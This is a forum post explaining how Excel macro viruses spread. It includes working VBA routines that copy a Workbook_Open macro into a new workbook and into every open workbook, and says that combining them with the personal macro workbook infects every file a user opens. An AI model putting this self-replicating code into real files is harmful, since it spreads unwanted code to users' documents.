魔方网表 让信息化更简单

 找回密码
 注册
查看: 1833|回复: 0

小述Excel宏病毒的工作原理_第三讲,宏的复制与自我复制原理

[复制链接]
lnxxnchzyl 发表于 2009-9-7 11:45:36 | 显示全部楼层 |阅读模式
Excel中提供了强大的宏的复制与自我复制机能,
这使得宏病毒的传染极其容易。
下面举个原理性的例子:
Sub 新建并感染工作薄()
    '添加新工作簿并将本工作簿 thisworkbook 内的宏 Workbook_Open 的代码复制到新工作簿
    Const STRMODULE As String = "ThisWorkBook"      '表名
    Const STRMACRO As String = "Workbook_Open"      '宏名
    Const STRWORKBOOK As String = "aaa.xls"             '薄名
   
    Dim str As String
   
    With ThisWorkbook.VBProject.VBComponents(STRMODULE).CodeModule
        str = .Lines(.ProcBodyLine(STRMACRO, 0), .ProcCountLines(STRMACRO, 0))
    End With
   
    With Workbooks.Add
        .SaveAs STRWORKBOOK
        .VBProject.VBComponents("ThisWorkBook").CodeModule.InsertLines 2, str
    End With
End Sub
宏病毒的传染,就是要让更多的文件受到感染,
所以,上面的例子还要继续修改,
Sub 感染当前打开的工作薄()
    Dim 宏内容, 当前薄名 As String
    当前薄名 = ThisWorkbook.Name
    With ThisWorkbook.VBProject.VBComponents("ThisWorkBook").CodeModule
        宏内容 = .Lines(.ProcBodyLine("Workbook_Open", 0), .ProcCountLines("Workbook_Open", 0))
    End With
    For Each 历遍薄名 In Workbooks
        If 历遍薄名.Name <> 当前薄名 Then
            历遍薄名.VBProject.VBComponents("ThisWorkBook").CodeModule.InsertLines 2, 宏内容
        End If
    Next
End Sub
这样一来,所有的打开的Excel文件就都受到感染了。
再加上第一讲的“个人宏工作薄”一起发挥,
那么,只要你打开一个Excel文件,
第一步就会先打开“个人宏工作薄”,
然后通过“Sub 感染当前打开的工作薄()”这个宏,
将你所打开的文件感染。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|魔方软件 ( 京ICP备08008787号 )

京公网安备 11010702001722号

GMT+8, 2024-5-13 04:15 , Processed in 0.057060 second(s), 15 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表